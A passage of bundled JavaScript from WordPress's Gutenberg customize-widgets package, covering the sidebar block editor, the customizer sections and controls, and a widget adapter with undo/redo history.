1494 const { ownerDocument } = ref.current;
1495 if (!ownerDocument.activeElement || ownerDocument.activeElement === ownerDocument.body) {
1496 ref.current.focus();
1497 }
1498 }
1499 }, [isBlocksListEmpty]);
1500 return /* @__PURE__ */ (0, import_jsx_runtime18.jsx)(import_block_editor7.ButtonBlockAppender, { ...props, ref });
1501 }
1502
1503 // packages/customize-widgets/build-module/components/sidebar-block-editor/index.mjs
1504 var import_jsx_runtime19 = __toESM(require_jsx_runtime(), 1);
1505 var { ExperimentalBlockCanvas: BlockCanvas } = unlock(
1506 import_block_editor8.privateApis
1507 );
1508 var { BlockKeyboardShortcuts } = unlock(import_block_library.privateApis);
1509 function SidebarBlockEditor({
1510 blockEditorSettings,
1511 sidebar,
1512 inserter,
1513 inspector
1514 }) {
1515 const [isInserterOpened2, setIsInserterOpened2] = useInserter(inserter);
1516 const isMediumViewport = (0, import_compose3.useViewportMatch)("small");
1517 const {
1518 hasUploadPermissions,
1519 isFixedToolbarActive,
1520 keepCaretInsideBlock,
1521 isWelcomeGuideActive
1522 } = (0, import_data12.useSelect)((select) => {
1523 const { get } = select(import_preferences3.store);
1524 return {
1525 hasUploadPermissions: select(import_core_data.store).canUser("create", {
1526 kind: "postType",
1527 name: "attachment"
1528 }) ?? true,
1529 isFixedToolbarActive: !!get(
1530 "core/customize-widgets",
1531 "fixedToolbar"
1532 ),
1533 keepCaretInsideBlock: !!get(
1534 "core/customize-widgets",
1535 "keepCaretInsideBlock"
1536 ),
1537 isWelcomeGuideActive: !!get(
1538 "core/customize-widgets",
1539 "welcomeGuide"
1540 )
1541 };
1542 }, []);
1543 const settings = (0, import_element13.useMemo)(() => {
1544 let mediaUploadBlockEditor;
1545 if (hasUploadPermissions) {
1546 mediaUploadBlockEditor = ({ onError, ...argumentsObject }) => {
1547 (0, import_media_utils.uploadMedia)({
1548 wpAllowedMimeTypes: blockEditorSettings.allowedMimeTypes,
1549 onError: ({ message }) => onError(message),
1550 ...argumentsObject
1551 });
1552 };
1553 }
1554 return {
1555 ...blockEditorSettings,
1556 __experimentalSetIsInserterOpened: setIsInserterOpened2,
1557 mediaUpload: mediaUploadBlockEditor,
1558 hasFixedToolbar: isFixedToolbarActive || !isMediumViewport,
1559 keepCaretInsideBlock,
1560 editorTool: "edit",
1561 __unstableHasCustomAppender: true
1562 };
1563 }, [
1564 hasUploadPermissions,
1565 blockEditorSettings,
1566 isFixedToolbarActive,
1567 isMediumViewport,
1568 keepCaretInsideBlock,
1569 setIsInserterOpened2
1570 ]);
1571 if (isWelcomeGuideActive) {
1572 return /* @__PURE__ */ (0, import_jsx_runtime19.jsx)(WelcomeGuide, { sidebar });
1573 }
1574 return /* @__PURE__ */ (0, import_jsx_runtime19.jsxs)(import_jsx_runtime19.Fragment, { children: [
1575 /* @__PURE__ */ (0, import_jsx_runtime19.jsx)(keyboard_shortcuts_default.Register, {}),
1576 /* @__PURE__ */ (0, import_jsx_runtime19.jsx)(BlockKeyboardShortcuts, {}),
1577 /* @__PURE__ */ (0, import_jsx_runtime19.jsxs)(SidebarEditorProvider, { sidebar, settings, children: [
1578 /* @__PURE__ */ (0, import_jsx_runtime19.jsx)(
1579 keyboard_shortcuts_default,
1580 {
1581 undo: sidebar.undo,
1582 redo: sidebar.redo,
1583 save: sidebar.save
1584 }
1585 ),
1586 /* @__PURE__ */ (0, import_jsx_runtime19.jsx)(
1587 header_default,
1588 {
1589 sidebar,
1590 inserter,
1591 isInserterOpened: isInserterOpened2,
1592 setIsInserterOpened: setIsInserterOpened2,
1593 isFixedToolbarActive: isFixedToolbarActive || !isMediumViewport
1594 }
1595 ),
1596 (isFixedToolbarActive || !isMediumViewport) && /* @__PURE__ */ (0, import_jsx_runtime19.jsx)(import_block_editor8.BlockToolbar, { hideDragHandle: true }),
1597 /* @__PURE__ */ (0, import_jsx_runtime19.jsx)(
1598 BlockCanvas,
1599 {
1600 shouldIframe: false,
1601 styles: settings.defaultEditorStyles,
1602 height: "100%",
1603 children: /* @__PURE__ */ (0, import_jsx_runtime19.jsx)(import_block_editor8.BlockList, { renderAppender: BlockAppender })
1604 }
1605 ),
1606 (0, import_element13.createPortal)(
1607 // This is a temporary hack to prevent button component inside <BlockInspector>
1608 // from submitting form when type="button" is not specified.
1609 /* @__PURE__ */ (0, import_jsx_runtime19.jsx)("form", { onSubmit: (event) => event.preventDefault(), children: /* @__PURE__ */ (0, import_jsx_runtime19.jsx)(import_block_editor8.BlockInspector, {}) }),
1610 inspector.contentContainer[0]
1611 )
1612 ] }),
1613 /* @__PURE__ */ (0, import_jsx_runtime19.jsx)(import_block_editor8.__unstableBlockSettingsMenuFirstItem, { children: ({ onClose }) => /* @__PURE__ */ (0, import_jsx_runtime19.jsx)(
1614 block_inspector_button_default,
1615 {
1616 inspector,
1617 closeMenu: onClose
1618 }
1619 ) })
1620 ] });
1621 }
1622
1623 // packages/customize-widgets/build-module/components/sidebar-controls/index.mjs
1624 var import_element14 = __toESM(require_element(), 1);
1625 var import_jsx_runtime20 = __toESM(require_jsx_runtime(), 1);
1626 var SidebarControlsContext = (0, import_element14.createContext)();
1627 SidebarControlsContext.displayName = "SidebarControlsContext";
1628 function SidebarControls({
1629 sidebarControls,
1630 activeSidebarControl,
1631 children
1632 }) {
1633 const context = (0, import_element14.useMemo)(
1634 () => ({
1635 sidebarControls,
1636 activeSidebarControl
1637 }),
1638 [sidebarControls, activeSidebarControl]
1639 );
1640 return /* @__PURE__ */ (0, import_jsx_runtime20.jsx)(SidebarControlsContext.Provider, { value: context, children });
1641 }
1642 function useSidebarControls() {
1643 const { sidebarControls } = (0, import_element14.useContext)(SidebarControlsContext);
1644 return sidebarControls;
1645 }
1646 function useActiveSidebarControl() {
1647 const { activeSidebarControl } = (0, import_element14.useContext)(SidebarControlsContext);
1648 return activeSidebarControl;
1649 }
1650
1651 // packages/customize-widgets/build-module/components/customize-widgets/use-clear-selected-block.mjs
1652 var import_element15 = __toESM(require_element(), 1);
1653 var import_data13 = __toESM(require_data(), 1);
1654 var import_block_editor9 = __toESM(require_block_editor(), 1);
1655 function useClearSelectedBlock(sidebarControl, popoverRef) {
1656 const { hasSelectedBlock, hasMultiSelection } = (0, import_data13.useSelect)(import_block_editor9.store);
1657 const { clearSelectedBlock } = (0, import_data13.useDispatch)(import_block_editor9.store);
1658 (0, import_element15.useEffect)(() => {
1659 if (popoverRef.current && sidebarControl) {
1660 let handleClearSelectedBlock = function(element) {
1661 if (
1662 // 1. Make sure there are blocks being selected.
1663 (hasSelectedBlock() || hasMultiSelection()) && // 2. The element should exist in the DOM (not deleted).
1664 element && ownerDocument.contains(element) && // 3. It should also not exist in the container, the popover, nor the dialog.
1665 !container.contains(element) && !popoverRef.current.contains(element) && !element.closest('[role="dialog"]') && // 4. The inspector should not be opened.
1666 !inspector.expanded()
1667 ) {
1668 clearSelectedBlock();
1669 }
1670 }, handleMouseDown = function(event) {
1671 handleClearSelectedBlock(event.target);
1672 }, handleBlur = function() {
1673 handleClearSelectedBlock(ownerDocument.activeElement);
1674 };
1675 const inspector = sidebarControl.inspector;
1676 const container = sidebarControl.container[0];
1677 const ownerDocument = container.ownerDocument;
1678 const ownerWindow = ownerDocument.defaultView;
1679 ownerDocument.addEventListener("mousedown", handleMouseDown);
1680 ownerWindow.addEventListener("blur", handleBlur);
1681 return () => {
1682 ownerDocument.removeEventListener(
1683 "mousedown",
1684 handleMouseDown
1685 );
1686 ownerWindow.removeEventListener("blur", handleBlur);
1687 };
1688 }
1689 }, [
1690 popoverRef,
1691 sidebarControl,
1692 hasSelectedBlock,
1693 hasMultiSelection,
1694 clearSelectedBlock
1695 ]);
1696 }
1697
1698 // packages/customize-widgets/build-module/components/customize-widgets/index.mjs
1699 var import_jsx_runtime21 = __toESM(require_jsx_runtime(), 1);
1700 function CustomizeWidgets({
1701 api,
1702 sidebarControls,
1703 blockEditorSettings
1704 }) {
1705 const [activeSidebarControl, setActiveSidebarControl] = (0, import_element16.useState)(null);
1706 const parentContainer = document.getElementById(
1707 "customize-theme-controls"
1708 );
1709 const popoverRef = (0, import_element16.useRef)();
1710 useClearSelectedBlock(activeSidebarControl, popoverRef);
1711 (0, import_element16.useEffect)(() => {
1712 const unsubscribers = sidebarControls.map(
1713 (sidebarControl) => sidebarControl.subscribe((expanded) => {
1714 if (expanded) {
1715 setActiveSidebarControl(sidebarControl);
1716 }
1717 })
1718 );
1719 return () => {
1720 unsubscribers.forEach((unsubscriber) => unsubscriber());
1721 };
1722 }, [sidebarControls]);
1723 const activeSidebar = activeSidebarControl && (0, import_element16.createPortal)(
1724 /* @__PURE__ */ (0, import_jsx_runtime21.jsx)(ErrorBoundary, { children: /* @__PURE__ */ (0, import_jsx_runtime21.jsx)(
1725 SidebarBlockEditor,
1726 {
1727 blockEditorSettings,
1728 sidebar: activeSidebarControl.sidebarAdapter,
1729 inserter: activeSidebarControl.inserter,
1730 inspector: activeSidebarControl.inspector
1731 },
1732 activeSidebarControl.id
1733 ) }),
1734 activeSidebarControl.container[0]
1735 );
1736 const popover = parentContainer && (0, import_element16.createPortal)(
1737 /* @__PURE__ */ (0, import_jsx_runtime21.jsx)("div", { className: "customize-widgets-popover", ref: popoverRef, children: /* @__PURE__ */ (0, import_jsx_runtime21.jsx)(import_components8.Popover.Slot, {}) }),
1738 parentContainer
1739 );
1740 return /* @__PURE__ */ (0, import_jsx_runtime21.jsx)(import_components8.SlotFillProvider, { children: /* @__PURE__ */ (0, import_jsx_runtime21.jsx)(
1741 SidebarControls,
1742 {
1743 sidebarControls,
1744 activeSidebarControl,
1745 children: /* @__PURE__ */ (0, import_jsx_runtime21.jsxs)(FocusControl, { api, sidebarControls, children: [
1746 activeSidebar,
1747 popover
1748 ] })
1749 }
1750 ) });
1751 }
1752
1753 // packages/customize-widgets/build-module/controls/sidebar-section.mjs
1754 var import_i18n10 = __toESM(require_i18n(), 1);
1755
1756 // packages/customize-widgets/build-module/controls/inspector-section.mjs
1757 function getInspectorSection() {
1758 const {
1759 wp: { customize }
1760 } = window;
1761 return class InspectorSection extends customize.Section {
1762 constructor(id, options) {
1763 super(id, options);
1764 this.parentSection = options.parentSection;
1765 this.returnFocusWhenClose = null;
1766 this._isOpen = false;
1767 }
1768 get isOpen() {
1769 return this._isOpen;
1770 }
1771 set isOpen(value) {
1772 this._isOpen = value;
1773 this.triggerActiveCallbacks();
1774 }
1775 ready() {
1776 this.contentContainer[0].classList.add(
1777 "customize-widgets-layout__inspector"
1778 );
1779 }
1780 isContextuallyActive() {
1781 return this.isOpen;
1782 }
1783 onChangeExpanded(expanded, args) {
1784 super.onChangeExpanded(expanded, args);
1785 if (this.parentSection && !args.unchanged) {
1786 if (expanded) {
1787 this.parentSection.collapse({
1788 manualTransition: true
1789 });
1790 } else {
1791 this.parentSection.expand({
1792 manualTransition: true,
1793 completeCallback: () => {
1794 if (this.returnFocusWhenClose && !this.contentContainer[0].contains(
1795 this.returnFocusWhenClose
1796 )) {
1797 this.returnFocusWhenClose.focus();
1798 }
1799 }
1800 });
1801 }
1802 }
1803 }
1804 open({ returnFocusWhenClose } = {}) {
1805 this.isOpen = true;
1806 this.returnFocusWhenClose = returnFocusWhenClose;
1807 this.expand({
1808 allowMultiple: true
1809 });
1810 }
1811 close() {
1812 this.collapse({
1813 allowMultiple: true
1814 });
1815 }
1816 collapse(options) {
1817 this.isOpen = false;
1818 super.collapse(options);
1819 }
1820 triggerActiveCallbacks() {
1821 this.active.callbacks.fireWith(this.active, [false, true]);
1822 }
1823 };
1824 }
1825
1826 // packages/customize-widgets/build-module/controls/sidebar-section.mjs
1827 var getInspectorSectionId = (sidebarId) => `widgets-inspector-${sidebarId}`;
1828 function getSidebarSection() {
1829 const {
1830 wp: { customize }
1831 } = window;
1832 const reduceMotionMediaQuery = window.matchMedia(
1833 "(prefers-reduced-motion: reduce)"
1834 );
1835 let isReducedMotion = reduceMotionMediaQuery.matches;
1836 reduceMotionMediaQuery.addEventListener("change", (event) => {
1837 isReducedMotion = event.matches;
1838 });
1839 return class SidebarSection extends customize.Section {
1840 ready() {
1841 const InspectorSection = getInspectorSection();
1842 this.inspector = new InspectorSection(
1843 getInspectorSectionId(this.id),
1844 {
1845 title: (0, import_i18n10.__)("Block Settings"),
1846 parentSection: this,
1847 customizeAction: [
1848 (0, import_i18n10.__)("Customizing"),
1849 (0, import_i18n10.__)("Widgets"),
1850 this.params.title
1851 ].join(" \u25B8 ")
1852 }
1853 );
1854 customize.section.add(this.inspector);
1855 this.contentContainer[0].classList.add(
1856 "customize-widgets__sidebar-section"
1857 );
1858 }
1859 hasSubSectionOpened() {
1860 return this.inspector.expanded();
1861 }
1862 onChangeExpanded(expanded, _args) {
1863 const controls = this.controls();
1864 const args = {
1865 ..._args,
1866 completeCallback() {
1867 controls.forEach((control) => {
1868 control.onChangeSectionExpanded?.(expanded, args);
1869 });
1870 _args.completeCallback?.();
1871 }
1872 };
1873 if (args.manualTransition) {
1874 if (expanded) {
1875 this.contentContainer.addClass(["busy", "open"]);
1876 this.contentContainer.removeClass("is-sub-section-open");
1877 this.contentContainer.closest(".wp-full-overlay").addClass("section-open");
1878 } else {
1879 this.contentContainer.addClass([
1880 "busy",
1881 "is-sub-section-open"
1882 ]);
1883 this.contentContainer.closest(".wp-full-overlay").addClass("section-open");
1884 this.contentContainer.removeClass("open");
1885 }
1886 const handleTransitionEnd = () => {
1887 this.contentContainer.removeClass("busy");
1888 args.completeCallback();
1889 };
1890 if (isReducedMotion) {
1891 handleTransitionEnd();
1892 } else {
1893 this.contentContainer.one(
1894 "transitionend",
1895 handleTransitionEnd
1896 );
1897 }
1898 } else {
1899 super.onChangeExpanded(expanded, args);
1900 }
1901 }
1902 };
1903 }
1904
1905 // packages/customize-widgets/build-module/controls/sidebar-control.mjs
1906 var import_data15 = __toESM(require_data(), 1);
1907
1908 // packages/customize-widgets/build-module/components/sidebar-block-editor/sidebar-adapter.mjs
1909 var { wp } = window;
1910 function parseWidgetId(widgetId) {
1911 const matches = widgetId.match(/^(.+)-(\d+)$/);
1912 if (matches) {
1913 return {
1914 idBase: matches[1],
1915 number: parseInt(matches[2], 10)
1916 };
1917 }
1918 return { idBase: widgetId };
1919 }
1920 function widgetIdToSettingId(widgetId) {
1921 const { idBase, number } = parseWidgetId(widgetId);
1922 if (number) {
1923 return `widget_${idBase}[${number}]`;
1924 }
1925 return `widget_${idBase}`;
1926 }
1927 function debounce(leading, callback, timeout) {
1928 let isLeading = false;
1929 let timerID;
1930 function debounced(...args) {
1931 const result = (isLeading ? callback : leading).apply(this, args);
1932 isLeading = true;
1933 clearTimeout(timerID);
1934 timerID = setTimeout(() => {
1935 isLeading = false;
1936 }, timeout);
1937 return result;
1938 }
1939 debounced.cancel = () => {
1940 isLeading = false;
1941 clearTimeout(timerID);
1942 };
1943 return debounced;
1944 }
1945 var SidebarAdapter = class {
1946 constructor(setting, api) {
1947 this.setting = setting;
1948 this.api = api;
1949 this.locked = false;
1950 this.widgetsCache = /* @__PURE__ */ new WeakMap();
1951 this.subscribers = /* @__PURE__ */ new Set();
1952 this.history = [
1953 this._getWidgetIds().map(
1954 (widgetId) => this.getWidget(widgetId)
1955 )
1956 ];
1957 this.historyIndex = 0;
1958 this.historySubscribers = /* @__PURE__ */ new Set();
1959 this._debounceSetHistory = debounce(
1960 this._pushHistory,
1961 this._replaceHistory,
1962 1e3
1963 );
1964 this.setting.bind(this._handleSettingChange.bind(this));
1965 this.api.bind("change", this._handleAllSettingsChange.bind(this));
1966 this.undo = this.undo.bind(this);
1967 this.redo = this.redo.bind(this);
1968 this.save = this.save.bind(this);
1969 }
1970 subscribe(callback) {
1971 this.subscribers.add(callback);
1972 return () => {
1973 this.subscribers.delete(callback);
1974 };
1975 }
1976 getWidgets() {
1977 return this.history[this.historyIndex];
1978 }
1979 _emit(...args) {
1980 for (const callback of this.subscribers) {
1981 callback(...args);
1982 }
1983 }
1984 _getWidgetIds() {
1985 return this.setting.get();
1986 }
1987 _pushHistory() {
1988 this.history = [
1989 ...this.history.slice(0, this.historyIndex + 1),
1990 this._getWidgetIds().map(
1991 (widgetId) => this.getWidget(widgetId)
1992 )
1993 ];
1994 this.historyIndex += 1;
1995 this.historySubscribers.forEach((listener) => listener());
1996 }
1997 _replaceHistory() {
1998 this.history[this.historyIndex] = this._getWidgetIds().map(
1999 (widgetId) => this.getWidget(widgetId)
2000 );
2001 }
2002 _handleSettingChange() {
2003 if (this.locked) {
2004 return;
2005 }
2006 const prevWidgets = this.getWidgets();
2007 this._pushHistory();
2008 this._emit(prevWidgets, this.getWidgets());
2009 }
2010 _handleAllSettingsChange(setting) {
2011 if (this.locked) {
2012 return;
2013 }
2014 if (!setting.id.startsWith("widget_")) {
2015 return;
2016 }
2017 const widgetId = settingIdToWidgetId(setting.id);
2018 if (!this.setting.get().includes(widgetId)) {
2019 return;
2020 }
2021 const prevWidgets = this.getWidgets();
2022 this._pushHistory();
2023 this._emit(prevWidgets, this.getWidgets());
2024 }
2025 _createWidget(widget) {
2026 const widgetModel = wp.customize.Widgets.availableWidgets.findWhere({
2027 id_base: widget.idBase
2028 });
2029 let number = widget.number;
2030 if (widgetModel.get("is_multi") && !number) {
2031 widgetModel.set(
2032 "multi_number",
2033 widgetModel.get("multi_number") + 1
2034 );
2035 number = widgetModel.get("multi_number");
2036 }
2037 const settingId = number ? `widget_${widget.idBase}[${number}]` : `widget_${widget.idBase}`;
2038 const settingArgs = {
2039 transport: wp.customize.Widgets.data.selectiveRefreshableWidgets[widgetModel.get("id_base")] ? "postMessage" : "refresh",
2040 previewer: this.setting.previewer
2041 };
2042 const setting = this.api.create(
2043 settingId,
2044 settingId,
2045 "",
2046 settingArgs
2047 );
2048 setting.set(widget.instance);
2049 const widgetId = settingIdToWidgetId(settingId);
2050 return widgetId;
2051 }
2052 _removeWidget(widget) {
2053 const settingId = widgetIdToSettingId(widget.id);
2054 const setting = this.api(settingId);
2055 if (setting) {
2056 const instance = setting.get();
2057 this.widgetsCache.delete(instance);
2058 }
2059 this.api.remove(settingId);
2060 }
2061 _updateWidget(widget) {
2062 const prevWidget = this.getWidget(widget.id);
2063 if (prevWidget === widget) {
2064 return widget.id;
2065 }
2066 if (prevWidget.idBase && widget.idBase && prevWidget.idBase === widget.idBase) {
2067 const settingId = widgetIdToSettingId(widget.id);
2068 this.api(settingId).set(widget.instance);
2069 return widget.id;
2070 }
2071 this._removeWidget(widget);
2072 return this._createWidget(widget);
2073 }
2074 getWidget(widgetId) {
2075 if (!widgetId) {
2076 return null;
2077 }
2078 const { idBase, number } = parseWidgetId(widgetId);
2079 const settingId = widgetIdToSettingId(widgetId);
2080 const setting = this.api(settingId);
2081 if (!setting) {
2082 return null;
2083 }
2084 const instance = setting.get();
2085 if (this.widgetsCache.has(instance)) {
2086 return this.widgetsCache.get(instance);
2087 }
2088 const widget = {
2089 id: widgetId,
2090 idBase,
2091 number,
2092 instance
2093 };
2094 this.widgetsCache.set(instance, widget);
2095 return widget;
2096 }
2097 _updateWidgets(nextWidgets) {
2098 this.locked = true;
2099 const addedWidgetIds = [];
2100 const nextWidgetIds = nextWidgets.map((nextWidget) => {
2101 if (nextWidget.id && this.getWidget(nextWidget.id)) {
2102 addedWidgetIds.push(null);
2103 return this._updateWidget(nextWidget);
2104 }
2105 const widgetId = this._createWidget(nextWidget);
2106 addedWidgetIds.push(widgetId);
2107 return widgetId;
2108 });
2109 const deletedWidgets = this.getWidgets().filter(
2110 (widget) => !nextWidgetIds.includes(widget.id)
2111 );
2112 deletedWidgets.forEach((widget) => this._removeWidget(widget));
2113 this.setting.set(nextWidgetIds);
2114 this.locked = false;
2115 return addedWidgetIds;
2116 }
2117 setWidgets(nextWidgets) {
2118 const addedWidgetIds = this._updateWidgets(nextWidgets);
2119 this._debounceSetHistory();
2120 return addedWidgetIds;
2121 }
2122 /**
2123 * Undo/Redo related features
2124 */
2125 hasUndo() {
2126 return this.historyIndex > 0;
2127 }
2128 hasRedo() {
2129 return this.historyIndex < this.history.length - 1;
2130 }
2131 _seek(historyIndex) {
2132 const currentWidgets = this.getWidgets();
2133 this.historyIndex = historyIndex;
2134 const widgets = this.history[this.historyIndex];
2135 this._updateWidgets(widgets);
2136 this._emit(currentWidgets, this.getWidgets());
2137 this.historySubscribers.forEach((listener) => listener());
2138 this._debounceSetHistory.cancel();
2139 }
2140 undo() {
2141 if (!this.hasUndo()) {
2142 return;
2143 }
2144 this._seek(this.historyIndex - 1);
2145 }
2146 redo() {
2147 if (!this.hasRedo()) {
2148 return;
2149 }
2150 this._seek(this.historyIndex + 1);
2151 }
2152 subscribeHistory(listener) {
2153 this.historySubscribers.add(listener);
2154 return () => {
2155 this.historySubscribers.delete(listener);
2156 };
2157 }
2158 save() {
2159 this.api.previewer.save();
2160 }
2161 };
2162
2163 // packages/customize-widgets/build-module/controls/inserter-outer-section.mjs
2164 var import_keycodes5 = __toESM(require_keycodes(), 1);
2165 var import_dom = __toESM(require_dom(), 1);
2166 var import_data14 = __toESM(require_data(), 1);
2167 function getInserterOuterSection() {
2168 const {
2169 wp: { customize }
2170 } = window;
2171 const OuterSection = customize.OuterSection;
2172 customize.OuterSection = class extends OuterSection {
2173 onChangeExpanded(expanded, args) {
2174 if (expanded) {
2175 customize.section.each((section) => {
2176 if (section.params.type === "outer" && section.id !== this.id) {
2177 if (section.expanded()) {
2178 section.collapse();
2179 }
2180 }
2181 });
2182 }
2183 return super.onChangeExpanded(expanded, args);
2184 }
2185 };
2186 customize.sectionConstructor.outer = customize.OuterSection;
2187 return class InserterOuterSection extends customize.OuterSection {
2188 constructor(...args) {
2189 super(...args);
2190 this.params.type = "outer";
2191 this.activeElementBeforeExpanded = null;
2192 const ownerWindow = this.contentContainer[0].ownerDocument.defaultView;
2193 ownerWindow.addEventListener(
2194 "keydown",
2195 (event) => {
2196 if (this.expanded() && (event.keyCode === import_keycodes5.ESCAPE || event.code === "Escape") && !event.defaultPrevented) {
2197 event.preventDefault();
2198 event.stopPropagation();
2199 (0, import_data14.dispatch)(store).setIsInserterOpened(
2200 false
2201 );
2202 }
2203 },
2204 // Use capture mode to make this run before other event listeners.
2205 true
2206 );
2207 this.contentContainer.addClass("widgets-inserter");
2208 this.isFromInternalAction = false;
2209 this.expanded.bind(() => {
2210 if (!this.isFromInternalAction) {
2211 (0, import_data14.dispatch)(store).setIsInserterOpened(
2212 this.expanded()
2213 );
2214 }
2215 this.isFromInternalAction = false;
2216 });
2217 }
2218 open() {
2219 if (!this.expanded()) {
2220 const contentContainer = this.contentContainer[0];
2221 this.activeElementBeforeExpanded = contentContainer.ownerDocument.activeElement;
2222 this.isFromInternalAction = true;
2223 this.expand({
2224 completeCallback() {
2225 const searchBox = import_dom.focus.tabbable.find(contentContainer)[1];
2226 if (searchBox) {
2227 searchBox.focus();
2228 }
2229 }
2230 });
2231 }
2232 }
2233 close() {
2234 if (this.expanded()) {
2235 const contentContainer = this.contentContainer[0];
2236 const activeElement = contentContainer.ownerDocument.activeElement;
2237 this.isFromInternalAction = true;
2238 this.collapse({
2239 completeCallback() {
2240 if (contentContainer.contains(activeElement)) {
2241 if (this.activeElementBeforeExpanded) {
2242 this.activeElementBeforeExpanded.focus();
2243 }
2244 }
2245 }
2246 });
2247 }
2248 }
2249 };
2250 }
2251
2252 // packages/customize-widgets/build-module/controls/sidebar-control.mjs
2253 var getInserterId = (controlId) => `widgets-inserter-${controlId}`;
2254 function getSidebarControl() {
2255 const {
2256 wp: { customize }
2257 } = window;
2258 return class SidebarControl extends customize.Control {
2259 constructor(...args) {
2260 super(...args);
2261 this.subscribers = /* @__PURE__ */ new Set();
2262 }
2263 ready() {
2264 const InserterOuterSection = getInserterOuterSection();
2265 this.inserter = new InserterOuterSection(
2266 getInserterId(this.id),
2267 {}
2268 );
2269 customize.section.add(this.inserter);
2270 this.sectionInstance = customize.section(this.section());
2271 this.inspector = this.sectionInstance.inspector;
2272 this.sidebarAdapter = new SidebarAdapter(this.setting, customize);
2273 }
2274 subscribe(callback) {
2275 this.subscribers.add(callback);
2276 return () => {
2277 this.subscribers.delete(callback);
2278 };
2279 }
2280 onChangeSectionExpanded(expanded, args) {
2281 if (!args.unchanged) {
2282 if (!expanded) {
2283 (0, import_data15.dispatch)(store).setIsInserterOpened(
2284 false
2285 );
2286 }
2287 this.subscribers.forEach(
2288 (subscriber) => subscriber(expanded, args)
2289 );
2290 }
2291 }
2292 };
2293 }
2294
2295 // packages/customize-widgets/build-module/filters/move-to-sidebar.mjs
2296 var import_block_editor10 = __toESM(require_block_editor(), 1);
2297 var import_compose4 = __toESM(require_compose(), 1);
2298 var import_data16 = __toESM(require_data(), 1);
2299 var import_hooks2 = __toESM(require_hooks(), 1);
2300 var import_widgets4 = __toESM(require_widgets(), 1);
2301 var import_jsx_runtime22 = __toESM(require_jsx_runtime(), 1);
2302 var withMoveToSidebarToolbarItem = (0, import_compose4.createHigherOrderComponent)(
2303 (BlockEdit) => (props) => {
2304 let widgetId = (0, import_widgets4.getWidgetIdFromBlock)(props);
2305 const sidebarControls = useSidebarControls();
2306 const activeSidebarControl = useActiveSidebarControl();
2307 const hasMultipleSidebars = sidebarControls?.length > 1;
2308 const blockName = props.name;
2309 const clientId = props.clientId;
2310 const canInsertBlockInSidebar = (0, import_data16.useSelect)(
2311 (select) => {
2312 return select(import_block_editor10.store).canInsertBlockType(
2313 blockName,
2314 ""
2315 );
2316 },
2317 [blockName]
2318 );
2319 const block = (0, import_data16.useSelect)(
2320 (select) => select(import_block_editor10.store).getBlock(clientId),
2321 [clientId]
2322 );
2323 const { removeBlock } = (0, import_data16.useDispatch)(import_block_editor10.store);
2324 const [, focusWidget] = useFocusControl();
2325 function moveToSidebar(sidebarControlId) {
2326 const newSidebarControl = sidebarControls.find(
2327 (sidebarControl) => sidebarControl.id === sidebarControlId
2328 );
2329 if (widgetId) {
2330 const oldSetting = activeSidebarControl.setting;
2331 const newSetting = newSidebarControl.setting;
2332 oldSetting(oldSetting().filter((id) => id !== widgetId));
2333 newSetting([...newSetting(), widgetId]);
2334 } else {
2335 const sidebarAdapter = newSidebarControl.sidebarAdapter;
2336 removeBlock(clientId);
2337 const addedWidgetIds = sidebarAdapter.setWidgets([
2338 ...sidebarAdapter.getWidgets(),
2339 blockToWidget(block)
2340 ]);
2341 widgetId = addedWidgetIds.reverse().find((id) => !!id);
2342 }
2343 focusWidget(widgetId);
2344 }
2345 return /* @__PURE__ */ (0, import_jsx_runtime22.jsxs)(import_jsx_runtime22.Fragment, { children: [
2346 /* @__PURE__ */ (0, import_jsx_runtime22.jsx)(BlockEdit, { ...props }, "edit"),
2347 hasMultipleSidebars && canInsertBlockInSidebar && /* @__PURE__ */ (0, import_jsx_runtime22.jsx)(import_block_editor10.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime22.jsx)(
2348 import_widgets4.MoveToWidgetArea,
2349 {
2350 widgetAreas: sidebarControls.map(
2351 (sidebarControl) => ({
2352 id: sidebarControl.id,
2353 name: sidebarControl.params.label,
2354 description: sidebarControl.params.description
2355 })
2356 ),
2357 currentWidgetAreaId: activeSidebarControl?.id,
2358 onSelect: moveToSidebar
2359 }
2360 ) })
2361 ] });
2362 },
2363 "withMoveToSidebarToolbarItem"
2364 );
2365 (0, import_hooks2.addFilter)(
2366 "editor.BlockEdit",
2367 "core/customize-widgets/block-edit",
2368 withMoveToSidebarToolbarItem
2369 );
2370
2371 // packages/customize-widgets/build-module/filters/replace-media-upload.mjs
2372 var import_hooks3 = __toESM(require_hooks(), 1);
2373 var import_media_utils2 = __toESM(require_media_utils(), 1);
2374 var replaceMediaUpload = () => import_media_utils2.MediaUpload;
2375 (0, import_hooks3.addFilter)(
2376 "editor.MediaUpload",
2377 "core/edit-widgets/replace-media-upload",
2378 replaceMediaUpload
2379 );
2380
2381 // packages/customize-widgets/build-module/filters/wide-widget-display.mjs
2382 var import_compose5 = __toESM(require_compose(), 1);
2383 var import_hooks4 = __toESM(require_hooks(), 1);
2384 var import_jsx_runtime23 = __toESM(require_jsx_runtime(), 1);
2385 var { wp: wp2 } = window;
2386 var withWideWidgetDisplay = (0, import_compose5.createHigherOrderComponent)(
2387 (BlockEdit) => (props) => {
2388 const { idBase } = props.attributes;
2389 const isWide = wp2.customize.Widgets.data.availableWidgets.find(
2390 (widget) => widget.id_base === idBase
2391 )?.is_wide ?? false;
2392 return /* @__PURE__ */ (0, import_jsx_runtime23.jsx)(BlockEdit, { ...props, isWide }, "edit");
2393 },
2394 "withWideWidgetDisplay"
2395 );
2396 (0, import_hooks4.addFilter)(
2397 "editor.BlockEdit",
2398 "core/customize-widgets/wide-widget-display",
2399 withWideWidgetDisplay
2400 );
2401
2402 // packages/customize-widgets/build-module/index.mjs
2403 var import_jsx_runtime24 = __toESM(require_jsx_runtime(), 1);
2404 var { wp: wp3 } = window;
2405 var DISABLED_BLOCKS = [
2406 "core/more",
2407 "core/block",
2408 "core/freeform",
2409 "core/template-part"
2410 ];
2411 function initialize(editorName, blockEditorSettings) {
2412 (0, import_data17.dispatch)(import_preferences4.store).setDefaults("core/customize-widgets", {
2413 fixedToolbar: false,
2414 welcomeGuide: true
2415 });
2416 (0, import_data17.dispatch)(import_blocks2.store).reapplyBlockTypeFilters();
2417 const coreBlocks = (0, import_block_library2.__experimentalGetCoreBlocks)().filter((block) => {
2418 return !(DISABLED_BLOCKS.includes(block.name) || block.name.startsWith("core/post") || block.name.startsWith("core/query") || block.name.startsWith("core/site") || block.name.startsWith("core/navigation") || block.name.startsWith("core/term"));
2419 });
2420 (0, import_block_library2.registerCoreBlocks)(coreBlocks);
2421 (0, import_widgets5.registerLegacyWidgetBlock)();
2422 if (false) {
